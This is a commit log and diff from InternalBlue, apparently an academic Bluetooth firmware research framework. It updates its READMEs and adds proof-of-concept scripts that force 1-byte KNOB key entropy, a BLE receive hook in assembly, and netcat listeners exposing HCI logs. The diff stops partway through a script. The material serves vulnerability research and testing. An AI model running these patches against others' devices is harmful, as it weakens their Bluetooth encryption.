62 Commits

Author SHA1 Message Date
Jiska Classen e89a84812e updated readme 2020-02-06 00:55:20 +01:00
Jiska Classen dd9d76cff9 Merge branch 'master' of https://dev.seemoo.tu-darmstadt.de/bcm/internalblue 2020-02-03 23:38:32 +01:00
Jiska Classen 58f9688b84 updated firmware files 2020-02-03 23:38:00 +01:00
Davide Toldo 45ec18744e Make macos core less verbose (forgot to remove line) 2020-01-22 12:52:07 +01:00
Davide Toldo 45054b68c7 Use seemoo bundle identifier in macoscore 2019-12-22 15:36:16 +01:00
Davide Toldo 09149a2986 Merge branch 'master' of https://dev.seemoo.tu-darmstadt.de/bcm/internalblue 2019-12-22 14:49:09 +01:00
Davide Toldo dd19701c29 Use seemoo bundle identifier and 1 little change for disconnection complete 2019-12-22 14:48:49 +01:00
Jiska Classen a7ca8986d5 KNOB for Nexus 6P 2019-12-11 20:05:02 +01:00
Jiska Classen bf023043fb EWSN Paper: RXDN hook (BLE_Reception_PoC.py) 2019-12-11 13:58:58 +01:00
Davide Toldo 8045ff091e Merge branch 'master' of https://dev.seemoo.tu-darmstadt.de/bcm/internalblue 2019-11-16 19:02:51 +01:00
Davide Toldo b8a2ce4b88 Cleanup some dead code 2019-11-16 19:02:25 +01:00
Dennis Heinze 5096123ffe Make internalblue on iOS reliable by buffering and checking H4 data 2019-11-13 19:29:38 +01:00
Dennis Heinze db7f30e26d Remove buffering and make ios-proxy more reliable 2019-11-13 19:27:41 +01:00
Dennis Heinze ab5e8f2c91 Add more iPhone 7 FW details 2019-11-13 19:26:36 +01:00
Jiska Classen 4c13360fdd only import macos core if we are on macos (otherwise unneeded dependencies are included) 2019-10-23 17:12:12 +02:00
Davide Toldo 8eb34e7ba9 Remove unnecessary output from framework
Add instructions for Wireshark
2019-10-23 12:54:51 +02:00
Davide Toldo 9aae6af582 * Add source of macOS framework and build instructions
* Add automatic detection of macOS - no -m parameter needed anymore
2019-10-23 12:24:21 +02:00
Davide Toldo 2becb2c677 Improve Mac instructions 2019-10-21 12:31:49 +02:00
Davide Toldo baa828e54c macOS bugfixes:
* Fix bug that showed "connection complete" twice with a broken second response
* Fix bug that caused a crash if cancelling a connection request from the mac
2019-10-15 02:13:12 +02:00
Jiska Classen 4577f04292 minor fix for macos vs ios core, added iphone 6 patchram support 2019-10-15 00:43:47 +02:00
Davide Toldo 4390105641 Minor changes for macOS 2019-10-09 14:22:29 +02:00
Davide Toldo c6486bb4e2 Minor changes for macOS 2019-10-09 14:08:22 +02:00
Davide Toldo a1b3b88afc Add macOS support 2019-10-09 13:34:38 +02:00
Davide Toldo e049bbb622 Add fw file 2019-10-09 13:24:28 +02:00
Davide Toldo 982d403ec0 Fix connection complete for incoming requests and disconnection complete 2019-10-09 13:21:49 +02:00
Jiska Classen 383dfaf554 minor port number bugfix and fw addition 2019-10-09 13:21:29 +02:00
Davide Toldo af7df43f0b Improve Syntax 2019-10-03 18:19:14 +02:00
Davide Toldo 29f3817b0c Pass command length to IOBE; fixes non-working writeMem for example 2019-10-01 16:08:31 +02:00
Davide Toldo f63248480b * Add significantly faster IOBE Framework
* Use random ports instead of hardcoded ones
* Update macos requirements
2019-10-01 14:31:23 +02:00
Davide Toldo e66f506ac3 Switch to UDP 2019-10-01 01:13:22 +02:00
Jiska Classen 9d9b98ce71 new nexus5 knob poc with automatic callback 2019-09-28 03:05:57 +02:00
Davide Toldo f6fbe61d0f Optimize framework a bit and comment out a debug output in macOS core 2019-09-27 02:02:01 +02:00
Jiska Classen 6d3eb20e77 minor fixes in existing fw files, updated device database 2019-09-26 14:34:45 +02:00
Davide Toldo 5a64fefcaf Add firmware file for MBPr 2014 2019-09-24 16:06:21 +02:00
Davide Toldo 88734f1627 Update Framework 2019-09-24 16:05:54 +02:00
Davide Toldo ecbc710be2 Result from Bluetooth chip is now correctly returned via TCP socket. Simplified access from Python: Only create a single object with the in and output ports as parameters. 2019-09-20 20:53:34 +02:00
Jiska Classen 598a72dc50 updated hardware database, added rpi3 poc for knob 2019-09-19 09:59:11 +02:00
Davide Toldo 4b4a91db37 Use TCP Sockets to send commands to IOBluetoothExtended and to receive the result. Works perfectly, on its own thread etc., but currently returns a dummy response instead of a response from the Chip. 2019-09-19 03:10:17 +02:00
Jiska Classen 594bedfc7f updated readmes 2019-09-16 15:10:40 +02:00
Davide Toldo 4b6dba5252 Current status:
* Framework works
* Communication with Python works
* Both over UDP and via Objc NSNotificationCenter
* Current issue: Doesn't work on (background?) threads e.g. _sendThreadFunc
2019-09-05 01:29:29 +02:00
Davide Toldo 88f66a5fe1 Add macOS core to cli.py 2019-09-05 01:26:29 +02:00
Jiska Classen 9cd8c64104 KNOB PoCs for RPi 3+/4, Galaxy S8, CYW20735, Nexus 5 2019-09-04 22:47:38 +02:00
Jiska Classen 06ac829bce added new fw versions 2019-09-03 10:31:14 +02:00
Jiska Classen 575ed8e38a serial mode as switch that does not even try bluetooth.default.so 2019-09-02 21:46:48 +02:00
Jiska Classen cd9f65a51d support for iphone 8/x/xr 2019-08-30 14:48:13 +02:00
Jiska Classen 35dd491192 added new firmwares and some notes on the ios-proxy 2019-08-29 23:03:26 +02:00
Jiska Classen 2ec000cf69 iOS testing and bugfixing (iPhone SE, iOS 12.4) 2019-08-24 01:46:08 +02:00
Jiska Classen f8311834b2 breakpoints 2019-08-17 12:51:03 +02:00
Jiska Classen 16b33a366c automatic detection of bluetooth interface and logfile on android 2019-08-12 23:53:45 +02:00
Jiska Classen aa306d531e adapted READMEs to code 2019-08-07 17:37:29 +02:00
Jiska Classen 395e633577 coredumps for s10* 2019-08-07 17:00:19 +02:00
Jiska Classen 252b6e0ab8 added samsung s10/s10e/s10+ support for rooted stock rom 2019-08-06 18:20:35 +02:00
jiska 245be1873f firmware versions of pauls devices 2019-07-31 11:12:18 +02:00
Jiska Classen 6f6720855f corrected and tested address for raspi 3+/4 2019-07-23 13:42:55 +02:00
Jiska Classen 7685005a2f sendlcp for raspi 3/3+/4 2019-07-23 13:36:10 +02:00
Jiska Classen 54d839e8e2 sendlcp command, did first tests with nexus 5 that seemed to work 2019-07-22 21:30:16 +02:00
Jiska Classen 2358acf26c bugfixes for handling patchram with different lengths/addresses 2019-07-18 14:16:16 +02:00
Jiska Classen 83cf9c63e0 tracepoints for cyw20719 2019-07-17 21:14:16 +02:00
Jiska Classen cea981c647 updated instructions for linux 2019-07-16 11:37:12 +02:00
Jiska Classen 636a4163e6 raspian readme 2019-07-16 11:13:03 +02:00
Jiska 03d6f45aef rpi3 bd_addr 2019-07-10 15:40:09 +01:00
Jiska Classen 2bd937b4e2 rpi3 2019-07-10 15:41:03 +02:00
64 changed files with 4038 additions and 532 deletions
+132 -107
View File
@@ -8,20 +8,143 @@ therefore implement monitoring and injection tools for the lower layers of
the Bluetooth protocol stack. the Bluetooth protocol stack.
Publications and Background
---------------------------
* **Master Thesis** (07/2018)
*InternalBlue* was initially developed and documented in the
[Masterthesis](https://github.com/seemoo-lab/internalblue/raw/master/internalblue_thesis_dennis_mantz.pdf) by Dennis Mantz.
Afterwards the development was continued by SEEMOO. It was awarded with the [CAST Förderpreis](https://www.cysec.tu-darmstadt.de/cysec/start_news_details_136448.en.jsp).
* **MRMCD Talk** (09/2018)
The basic framework for Nexus 5 / BCM4339 was presented at the MRMCD Conference
2018 in Darmstadt. The talk was also [recorded](https://media.ccc.de/v/2018-154-internalblue-a-deep-dive-into-bluetooth-controller-firmware) and includes an overview of the framework as well as
two demo usages at the end (Following a **Secure Simple Pairing procedure in
Wireshark** and implementing a **proof of concept for CVE-2018-5383**).
* **35C3 Talk** (12/2018)
More extensions were [presented](https://media.ccc.de/v/35c3-9498-dissecting_broadcom_bluetooth) at 35C3 2018 in Leipzig. New features include
creating connections to non-discoverable devices. Moreover, we gave a **demo of
CVE-2018-19860**, which can crash Bluetooth on several Broadcom chips. This talk
was also recorded and gives a more high level overview.
* **TROOPERS Talk** (03/2019)
* **WiSec Paper** (05/2019)
Our WiSec paper [Inside Job: Diagnosing Bluetooth Lower Layers Using Off-the-Shelf Devices](https://arxiv.org/abs/1905.00634) on reversing the
Broadcom Bluetooth diagnostics protocol was accepted, demonstrated and got the replicability label.
* **MobiSys Paper** (06/2019)
Our MobiSys paper [InternalBlue - Bluetooth Binary Patching and Experimentation Framework
](https://arxiv.org/abs/1905.00631) on the complete *InternalBlue* ecosystem got accepted.
* **REcon Talk** (06/2019)
We gave a talk at REcon, [Reversing and Exploiting Broadcom Bluetooth](https://cfp.recon.cx/reconmtl2019/talk/EQTRGU/).
It provides a first intuition on how to do binary patching in C with Nexmon to change Bluetooth functionality.
* **MRMCD Talk** (09/2019)
Our talk [Playing with Bluetooth](https://media.ccc.de/v/2019-185-playing-with-bluetooth) focuses on new device support
within *InternalBlue* and the Patchram state of various devices.
* **36C3 Talk** (12/2019)
The rather generic talk [All wireless communication stacks are equally broken](https://media.ccc.de/v/36c3-10531-all_wireless_communication_stacks_are_equally_broken)
points out a couple of new research directions and new Bluetooth projects coming up.
* **EWSN Paper & Demo** (02/2020)
We did some work on improving blacklisting performance of BLE data connections. Currently in a separate *blacklisting* branch.
Supported Features
------------------
This list is subject to change, but we give you a brief overview. You probably have a platform with a Broadcom chip that supports most features :)
On any Bluetooth chip:
* Send HCI commands
* Monitor HCI
* Establish connections
On any Broadcom Bluetooth chip:
* Read and write RAM
* Read and write assembly to RAM
* Read ROM
* Set defined breakpoints that crash on execution
* Inject arbitrary valid LMP messages (opcode and length must me standard compliant, contents and order are arbitrary)
* Use diagnostic features to monitor LMP and LCP (with new **Android** H4 driver patch, still needs to be integrated into BlueZ)
* Read AFH channel map
On selected Broadcom Bluetooth chips:
* Write to ROM via Patchram (any chip with defined firmware file >= build date 2012)
* Interpret core dumps (Nexus 5/6P, Samsung Galaxy S6, Evaluation Boards, Samsung Galaxy S10/S10e/S10+)
* Debug firmware with tracepoints (Nexus 5 and Evaluation Board CYW20735)
* Fuzz invalid LMP messages (Nexus 5 and Evaluation Board CYW20735)
* Inject LCP messages, including invalid messages (Nexus 5, Raspberry Pi 3/3+/4)
* Full object and function symbol table (Cypress Evaluation Boards only)
* Demos for Nexus 5 only:
* ECDH CVE-2018-5383 example
* NiNo example
* MAC address filter example
* KNOB attack test for various devices, including Raspberry Pi 3+/4
A comprehensive list of chips and which devices have them can be found in the [firmware](internalblue/fw/README.md) module documentation.
Requirements
------------
Android:
* Ideally recompiled `bluetooth.default.so`, but also works on any rooted smartphone, see [Android instructions](android_bluetooth_stack/README.md)
* Android device connected via ADB
* Best support is currently given for Nexus 5 / BCM4339 and Evaluation Boards
* Optional: Patch for Android driver to support Broadcom H4 forwarding
* Optional, if H4: Wireshark [Broadcom H4 Dissector Plugin](https://github.com/seemoo-lab/h4bcm_wireshark_dissector)
Linux:
* BlueZ, instructions see [here](linux_bluez/README.md)
* Best support for Raspberry Pi 3/3+/4
* For most commands: Privileged access
iOS:
* A jailbroken iOS device (tested on iOS 12.1.2/12.4 with iPhone 6, SE, 7, 8, X)
* The included `ios-proxy` (instructions in [here](ios-proxy/README.md))
* Optional: a Mac with `xcode` to compile the proxy yourself
* Optional, no jailbreak required: install [iOS Bluetooth Debug Profile](https://developer.apple.com/bug-reporting/profiles-and-logs/) to obtain
HCI and diagnostic messages, either via diagnostic report feature (all iOS versions) or live with PacketLogger (since iOS 13)
macOS:
* Homebrew
* Xcode 10.2.1
* Instructions see [here](macos-framework/README.md)
Setup and Installation Setup and Installation
---------------------- ----------------------
The framework uses __ADB__ (Android Debug Bridge) to connect to an Android The framework uses __ADB__ (Android Debug Bridge) to connect to an Android
smartphone, __BlueZ__ sockets on Linux, or the included __iOS Proxy__ on iOS. smartphone, __BlueZ__ sockets on Linux, or the included __iOS Proxy__ on iOS.
For ADB, either connect the phone via USB or setup ADB over TCP and make sure you
For [Android](android_bluetooth_stack) with ADB, either connect the phone via USB or setup ADB over TCP and make sure you
enable USB debugging in the developer settings of Android. enable USB debugging in the developer settings of Android.
The Android device needs to run a Bluetooth stack that was compiled with If you have a jailbroken [iOS](ios-proxy) device, you need to install a proxy that locally connects
debugging features enabled. A detailed description on how to compile the to the Bluetooth device and forwards HCI commands and events.
Bluetooth stack for your device can be found in the *README.md* file inside the
*android_bluetooth_stack* directory of this repository. It also contains On [Linux](linux_bluez) with *BlueZ*, everything should work out of the box, but
precompiled stacks for some devices. InternalBlue does not work without the you need to execute *InternalBlue* as root for most features.
debug Bluetooth stack.
The InternalBlue framework is written in Python 2. You can install it together The InternalBlue framework is written in Python 2. You can install it together
with all dependencies by using pip: with all dependencies by using pip:
@@ -59,7 +182,7 @@ All steps on a plain Ubuntu 18.04:
cmake .. cmake ..
make make
make install make install
Packets required on a current (July 2019) Raspian: Packets required on a current (July 2019) Raspian:
sudo apt-get --allow-releaseinfo-change update sudo apt-get --allow-releaseinfo-change update
@@ -94,105 +217,7 @@ because the leading two bytes are not required by Bluetooth communication, you
can replace them with anything you want. can replace them with anything you want.
Requirements
------------
Android:
* Recompiled `bluetooth.default.so` built with `bdroid_CFLAGS='-DBT_NET_DEBUG=TRUE'`, see [build instructions](android_bluetooth_stack/README.md)
* Android device connected via ADB
* Best support is currently given for Nexus 5 / BCM4339
* Optional: Patch for Android driver to support Broadcom H4 forwarding
Linux:
* BlueZ
* Optional: Privileged access
iOS:
* A jailbroken iOS device
* The included ios-proxy (instructions in [here](ios-proxy/README.md))
* Optional: a Mac with xcode to compile the proxy yourself
Common Optional Requirements:
* Wireshark [Broadcom H4 Dissector Plugin](https://github.com/seemoo-lab/h4bcm_wireshark_dissector)
Supported Features
------------------
This list is subject to change, but we give you a brief overview. You probably have a platform with a Broadcom chip that supports most features :)
On any Bluetooth chip:
* Send HCI commands
* Monitor HCI
* Establish connections
On any Broadcom Bluetooth chip:
* Read and write RAM
* Read and write assembly to RAM
* Read ROM
* Inject arbitrary valid LMP messages (opcode and length must me standard compliant, contents and order are arbitrary)
* Use diagnostic features to monitor LMP and LCP (with new **Android** H4 driver patch, still needs to be integrated into BlueZ)
* Read AFH channel map
* Perform local RSSi sweep (coming soon!)
On selected Broadcom Bluetooth chips:
* BCM4335C0, BCM4358A3, CYW20735
* Write to ROM via Patchram
* Interpret coredumps
* BCM4335C0 only
* ECDH CVE-2018-5383 example
* NiNo example
* MAC address filter example
* Debug firmware with tracepoints
* BCM4335C0 and CYW20735
* Fuzz invalid LMP messages
* CYW20735 only
* Full object and function symbol table
A comprehensive list of chips and which devices have them can be found in the [firmware](internalblue/fw/README.md) module documentation.
Background
----------
* **Master Thesis** (07/2018)
InternalBlue was initially developed and documented in the
[Masterthesis](https://github.com/seemoo-lab/internalblue/raw/master/internalblue_thesis_dennis_mantz.pdf) by Dennis Mantz.
Afterwards the development was continued by SEEMOO. It was awarded with the [CAST Förderpreis](https://www.cysec.tu-darmstadt.de/cysec/start_news_details_136448.en.jsp).
* **MRMCD Talk** (09/2018)
The basic framework for Nexus 5 / BCM4339 was presented at the MRMCD Conference
2018 in Darmstadt. The talk was also [recorded](https://media.ccc.de/v/2018-154-internalblue-a-deep-dive-into-bluetooth-controller-firmware) and includes an overview of the framework as well as
two demo usages at the end (Following a **Secure Simple Pairing procedure in
Wireshark** and implementing a **proof of concept for CVE-2018-5383**).
* **35C3 Talk** (12/2018)
More extensions were [presented](https://media.ccc.de/v/35c3-9498-dissecting_broadcom_bluetooth) at 35C3 2018 in Leipzig. New features include
creating connections to non-discoverable devices. Moreover, we gave a **demo of
CVE-2018-19860**, which can crash Bluetooth on several Broadcom chips. This talk
was also recorded and gives a more high level overview.
* **TROOPERS Talk** (03/2019)
* **WiSec Paper** (05/2019)
Our WiSec paper [Inside Job: Diagnosing Bluetooth Lower Layers Using Off-the-Shelf Devices](https://arxiv.org/abs/1905.00634) on reversing the
Broadcom Bluetooth diagnostics protocol was accepted, demonstrated and got the replicability label.
* **MobiSys Paper** (06/2019)
Our MobiSys paper [InternalBlue - Bluetooth Binary Patching and Experimentation Framework
](https://arxiv.org/abs/1905.00631) on the complete *InternalBlue* ecosystem got accepted.
* **REcon Talk** (06/2019)
We gave a talk at REcon, [Reversing and Exploiting Broadcom Bluetooth](https://cfp.recon.cx/reconmtl2019/talk/EQTRGU/).
It gives a first intuition on how to do binary patching in C with Nexmon to change Bluetooth functionality.
@@ -200,7 +225,7 @@ was also recorded and gives a more high level overview.
License License
------- -------
Copyright 2018-2019 Dennis Mantz, Jiska Classen Copyright 2018-2020 The InternalBlue Team
Permission is hereby granted, free of charge, to any person obtaining a copy of Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in this software and associated documentation files (the "Software"), to deal in
+30 -1
View File
@@ -2,7 +2,7 @@ Enable Debugging Features in the Android Bluetooth Stack
======================================================== ========================================================
The Android Bluetooth stack has [debugging features](https://chromium.googlesource.com/aosp/platform/system/bt/+/master/doc/network_ports.md) The Android Bluetooth stack has [debugging features](https://chromium.googlesource.com/aosp/platform/system/bt/+/master/doc/network_ports.md)
which are disabled in normal builds. To enable them, the Bluetooth Stack which are disabled in normal builds. To enable them, the Bluetooth stack
(*bluetooth.default.so*) has to be build with debugging preprocessor defines. (*bluetooth.default.so*) has to be build with debugging preprocessor defines.
Another issue is that the Android Bluetooth stack does not support Broadcom Another issue is that the Android Bluetooth stack does not support Broadcom
@@ -17,11 +17,40 @@ been created according to the tutorial below. You can skip the build if you
happen to have a device for which a precompiled *bluetooth.default.so* exists. happen to have a device for which a precompiled *bluetooth.default.so* exists.
NEW: Serial Forwarding
----------------------
With Android Oreo (8), significant parts of the network debug interface
were removed from the source code. Reintroducing these features would be ABI-breaking.
We introduced an experimental serial forwarding. If the connection to a
patched Bluetooth stack fails on Android, *InternalBlue* tries to setup sockets
with shell scripting. The only requirement is a rooted smartphone. This hack
even works on a recent __Samsung Galaxy S10e__ with __Android Pie (9)__ (Patchlevel June 2019).
In `adbcore.py`, we have a fallback that executes `_setupSerialSu`. This starts the
following processes:
tail -f -n +0 /data/log/bt/btsnoop_hci.log | nc -l -p 8872
nc -l -p 8873 >/sdcard/internalblue_input.bin
tail -f /sdcard/internalblue_input.bin >>/dev/ttySAC1
To run netcat, you need to install the `busybox` app. Depending on your Android version,
the paths for `*btsnoop_hci.log` and `/dev/tty*` might differ. Execute `lsof | grep bluetooth`
to get hints on the serial device used for Bluetooth.
Note that this solution is much slower than patching *bluetooth.default.so*.
The delay per command is quite long, but overall throughput is okay, i.e., stackdumps can
be received.
Prebuilt Library Status Prebuilt Library Status
----------------------- -----------------------
Folder | Tag | HCI forwarding | H4 Broadcom Diagnostics | Notes Folder | Tag | HCI forwarding | H4 Broadcom Diagnostics | Notes
------ | --- | -------------- | ----------------------- | ----- ------ | --- | -------------- | ----------------------- | -----
none | Android 8+9 | yes | no | Serial and BT Snoop forwarding with `nc` (in `busybox` app), tested on rooted __Samsung Galaxy S10e__
android5_1_1 | android-5.1.1_r3 | rx only | no | Tested on Nexus 5 - HCI sniffing only! android5_1_1 | android-5.1.1_r3 | rx only | no | Tested on Nexus 5 - HCI sniffing only!
android6_0_1 | android-6.0.1_r81 | yes | __yes__ | Recommended for __Nexus 5__ (android-6.0.1_r77), also works on Nexus 6P, seems like the version tag can differ a bit. android6_0_1 | android-6.0.1_r81 | yes | __yes__ | Recommended for __Nexus 5__ (android-6.0.1_r77), also works on Nexus 6P, seems like the version tag can differ a bit.
android7_1_2 | android-7.1.2_r28 | yes | __yes__ | Recommended for __Nexus 6P__, but it might run on Nexus 5X, Nexus Player, Pixel C. android7_1_2 | android-7.1.2_r28 | yes | __yes__ | Recommended for __Nexus 6P__, but it might run on Nexus 5X, Nexus Player, Pixel C.
+42 -12
View File
@@ -1,18 +1,48 @@
InternalBlue PoCs and Examples InternalBlue PoCs and Examples
============================== ==============================
The following examples were tested on a *Nexus 5* (*BCM4339* chip with firmware *BCM4335C0*) on *Android* and *LineageOS*.
* [CVE_2018_5383_Invalid_Curve_Attack_PoC](CVE_2018_5383_Invalid_Curve_Attack_PoC.py) KNOB Attack Test (CVE-2019-9506)
provides tries to set the y-coordinate during ECDH key exchange to zero. If the device under test accepts the pairing (50% probability), it is vulnerable. --------------------------------
* [LMP_MAC_Address_Filter](LMP_MAC_Address_Filter.py) We provide a modified version of the KNOB attack test, originally provided [here](https://github.com/francozappa/knob).
replies to all LMP packets with `LMP_not_accepted` if their source is not from a MAC address in the whitelist. This script tests if the other device will accept a reduced key entropy of 1 byte instead of the optimal 16 byte.
* [NiNo_PoC](NiNo_PoC.py) sets the IO capabilities of the *Nexus 5* to no input, no output. Available for the [Raspberry Pi 3](rpi3/KNOB_PoC.py), [Raspberry Pi 3+/4](rpi3p_rpi4/KNOB_PoC.py),
[Nexus 5](nexus5/KNOB_PoC.py), [Nexus 6P](nexus6p/KNOB_PoC.py), [CYW20735 evaluation board](eval_cyw20735/KNOB_PoC.py),
and [Samsung Galaxy S8](s8/KNOB_PoC.py).
Examples for the Raspberry Pi 3:
* [raspi3_rxdn](raspi4_rxdn.py) prints the first bytes of the LE connection struct within the `_connTaskRxDone` callback. Invalid Curve Attack Test (CVE-2018-5383)
For debugging purposes, warnings are shown for packet failures. The full logging can be enabled via `log_level debug` on the -----------------------------------------
*InternalBlue* command line. It contains the current channel, RSSI, and event number for each packet. To blacklist channels This is a test which tires to set the y-coordinate during ECDH key exchange to zero. If the devie under test accepts the pairing
from hopping, use `sendhcicmd 0x2014 ff00000000` or similar. Use `wireshark` or `btmon` (50% probability), it is vulnerable. This is not an MITM implementation, it only tests, if the other device would be vulnerable in practice.
to see the channel blacklisting live within the connection struct.
Available for the [Nexus 5](nexus5/CVE_2018_5383_Invalid_Curve_Attack_PoC.py).
LMP MAC Address Filter
----------------------
Only accept traffic from whitelisted MAC addresses and send `LMP_not_accepted` otherwise.
Available for the [Nexus 5](nexus5/LMP_MAC_Address_Filter.py).
NiNo Attack Test
----------------
Prior to pairing, an MITM can set the IO capabilities to no input, no output. This will skip the numeric comparison.
If the operating system displays a yes/no question during pairing, a warning, or similar, is up to the concrete implementation.
This script tests how the other device will behave in a pairing that does not use numeric comparison, but is no
active MITM attack.
Available for the [Nexus 5](nexus5/NiNo_PoC.py).
Measurement of BLE Receive Statistics
-------------------------------------
This demo provides a hook within the callback for BLE packet reception. Upon packet reception, no matter if the
packet is a keep-alive null packet or not, it will be processed by this function. During this state, further
metadata is available, such as the RSSI (Received Signal Strength Indicator), the packet's channel, and the
currently active channel map.
Available for the [Nexus 5](nexus5/BLE_Reception_PoC.py) and [Samsung Galaxy S8](s8/BLE_Reception_PoC.py) including a callback script,
as well as for the [CYW20735 Evaluation board](eval_cyw20735/BLE_Reception_PoC.py), [Raspberry Pi 3](rpi3/BLE_Reception_PoC.py)
and [3+/4](rpi3p_rpi4/BLE_Reception_PoC.py) currently without callback script.
We also ported it for the iPhone 6, however, the current *InternalBlue* iOS implementation cannot be run in parallel
with the full iOS stack, thus it is not pushed online here.
+48
View File
@@ -0,0 +1,48 @@
#!/usr/bin/python2
# Jiska Classen, Secure Mobile Networking Lab
from pwn import *
from internalblue.hcicore import HCICore
"""
This is a standalone PoC for the KNOB attack on a CYW20735 evaluation board.
Original LMP monitor mode was from Dennis Mantz, and was then modified by Daniele Antonioli for KNOB.
For details see https://github.com/francozappa/knob
This PoC is much shorter since it only modifies global variables for key entropy.
"""
internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)
log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!")
# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x7402A) # connection struct key entropy
internalblue.patchRom(0x7402A, patch)
# modify global variable for own setting
internalblue.writeMem(0x280F13, '\x01') # global key entropy
internalblue.shutdown()
exit(-1)
log.info("-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
"For more details, see special instructions for BlueZ.\n")
+175
View File
@@ -0,0 +1,175 @@
#!/usr/bin/env python2
# Jiska Classen
# Get receive statistics on a Nexus 5 for BLE connection events
from pwn import *
from internalblue.adbcore import ADBCore
import internalblue.hci as hci
import internalblue.cli as cli
internalblue = ADBCore(serial=False)
device_list = internalblue.device_list()
if len(device_list) == 0:
log.warn("No HCI devices connected!")
exit(-1)
internalblue.interface = device_list[0][1] # just use the first device
"""
# _connTaskRxDone has a Patchram position, Nexus 5 patches look so worse that I guess
# they never planned to support BLE. Even callbacks are defined in Patchram.
# You need to adjust the RX_DONE_HOOK_ADDRESS in the beginning.
"""
RX_DONE_HOOK_ADDRESS = 0x224DEA
HOOKS_LOCATION = 0xd7500
ASM_HOOKS = """
// restore first 4 bytes of _connTaskRxDone
push {r4-r8,lr}
mov r4, r0
// fix registers for our own routine
push {r1-r7, lr}
mov r7, r0
// allocate vendor specific hci event
mov r2, 243
mov r1, 0xff
mov r0, 245
bl 0x7AFC // bthci_event_AllocateEventAndFillHeader(4+239+2, 0xff, 4+239);
mov r4, r0 // save pointer to the buffer in r4
// append buffer with "RXDN"
add r0, 2 // buffer starts at 2 with data (?)
ldr r1, =0x4e445852 // RXDN
str r1, [r0]
add r0, 4 // advance buffer by 4
// copy 239 bytes of le_conn to buffer
mov r2, #238
mov r1, r7 // le_conn[0]
//add r1, 0x100 //TODO use this to access the connection struct with different offset
bl 0x46FE6 // __rt_memcpy
// for debugging purposes, we overwrite the first byte
// (which is the connTaskCallback anyway) with RSSI info
mov r2, #1 // 1 rssi byte
add.w r1, r7, #0x12c // le_conn[0x12c] is position of RSSI in Nexus 5
mov r0, r4
add r0, 6
bl 0x46FE6 // __rt_memcpy
// send hci event
mov r0, r4 // back to buffer at offset 0
bl 0x398c1 // send_hci_event_without_free()
// free HCI buffer
mov r0, r4
bl 0x3FA36 // osapi_blockPoolFree
// undo registers for our own routine
mov r0, r7
pop {r1-r7, lr}
// branch back to _connTaskRxDone + 4
b 0x%x
""" % (RX_DONE_HOOK_ADDRESS+4)
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)
# Install hooks
code = asm(ASM_HOOKS, vma=HOOKS_LOCATION)
log.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
if not internalblue.writeMem(HOOKS_LOCATION, code):
log.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
exit(-1)
log.info("Installing hook patch...")
patch = asm("b 0x%x" % HOOKS_LOCATION, vma=RX_DONE_HOOK_ADDRESS)
if not internalblue.writeMem(RX_DONE_HOOK_ADDRESS, patch):
log.critical("Installing patch for _connTaskRxDone failed!")
exit(-1)
# RXDN statistics callback variables
internalblue.last_nesn_sn = None
internalblue.last_success_event = None
def lereceiveStatusCallback(record):
"""
RXDN Callback Function
Depends on the raspi3_rxdn.py or eval_rxdn.py script,
which patches the _connTaskRxDone() function and copies
info from the LE connection struct to HCI.
"""
hcipkt = record[0] # get HCI Event packet
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:4] == "RXDN":
data = hcipkt.data[4:]
# Raspi 3 gets errors
if len(data) < 239:
return
# !!! Nexus 5 has really outdated struct...
packet_curr_nesn_sn = u8(data[0xa0])
packet_channel_map = data[0x4c:0x4c+38]
packet_channel = u8(data[0x7b])
packet_event_ctr = u16(data[0x86:0x88])
packet_rssi = u8(data[0])
if internalblue.last_nesn_sn and ((internalblue.last_nesn_sn ^ packet_curr_nesn_sn) & 0b1100) != 0b1100:
log.info(" ^----------------------------- ERROR --------------------------------")
# currently only supported by eval board: check if we also went into the process payload routine,
# which probably corresponds to a correct CRC
# if self.last_success_event and (self.last_success_event + 1) != packet_event_ctr:
# log.debug(" ^----------------------------- MISSED -------------------------------")
# TODO example for setting the channel map
# timeout needs to be zero, because we are already in an event reception routine!
# self.sendHciCommand(0x2014, '\x00\x00\xff\x00\x00', timeout=0)
internalblue.last_nesn_sn = packet_curr_nesn_sn
# draw channel with rssi color
color = '\033[92m' # green
if 0xc8 > packet_rssi >= 0xc0:
color = '\033[93m' # yellow
elif packet_rssi < 0xc0:
color = '\033[91m' # red
channels_total = u8(packet_channel_map[37])
channel_map = 0x0000000000
if channels_total <= 37: # raspi 3 messes up with this during blacklisting
for channel in range(0, channels_total):
channel_map |= (0b1 << 39) >> u8(packet_channel_map[channel])
log.info("LE event %5d, map %10x, RSSI %d: %s%s*\033[0m " % (packet_event_ctr, channel_map,
(packet_rssi & 0x7f) - (128 * (packet_rssi >> 7)),
color, ' ' * packet_channel))
log.info("--------------------")
log.info("Entering InternalBlue CLI to display statistics.")
# add RXDN callback
internalblue.registerHciCallback(lereceiveStatusCallback)
# enter CLI
cli.commandLoop(internalblue)
+100
View File
@@ -0,0 +1,100 @@
#!/usr/bin/python2
# Jiska Classen, Secure Mobile Networking Lab
from pwn import *
from internalblue.adbcore import ADBCore
import internalblue.cli as cli
import internalblue.cmds as cmd
import internalblue.hci as hci
from internalblue.cmds import auto_int
"""
This is a standalone PoC for the KNOB attack on a Nexus 5.
Original LMP monitor mode was from Dennis Mantz, and was then modified by Daniele Antonioli for KNOB.
For details see https://github.com/francozappa/knob
This PoC is much shorter since it only modifies global variables for key entropy.
"""
internalblue = ADBCore(serial=False) # without custom bluetooth.default.so, change to True
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)
log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!")
# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x5AED0) # connection struct key entropy
internalblue.patchRom(0x5AED0, patch)
# modify global variable for own setting
